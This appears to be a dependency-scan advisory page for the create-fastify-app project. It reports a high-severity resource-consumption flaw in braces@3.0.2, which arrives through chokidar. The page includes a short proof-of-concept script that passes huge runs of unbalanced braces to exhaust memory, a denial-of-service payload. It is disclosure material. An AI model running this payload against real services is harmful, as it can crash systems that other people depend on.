Vulnerabilities

1 via 1 paths

Dependencies

300

Source

GitHub

Commit

8c06f248

Find, fix and prevent vulnerabilities in your code.

Severity
  • 1
Status
  • 1
  • 0
  • 0

high severity
new

Uncontrolled resource consumption

  • Vulnerable module: braces
  • Introduced through: chokidar@3.6.0

Detailed paths

  • Introduced through: create-fastify-app@davidedantonio/create-fastify-app#8c06f2480ee7af27067107be76c2e130ce50b961 chokidar@3.6.0 braces@3.0.2

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Uncontrolled resource consumption due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

Remediation

A fix was pushed into the master branch but not yet published.

References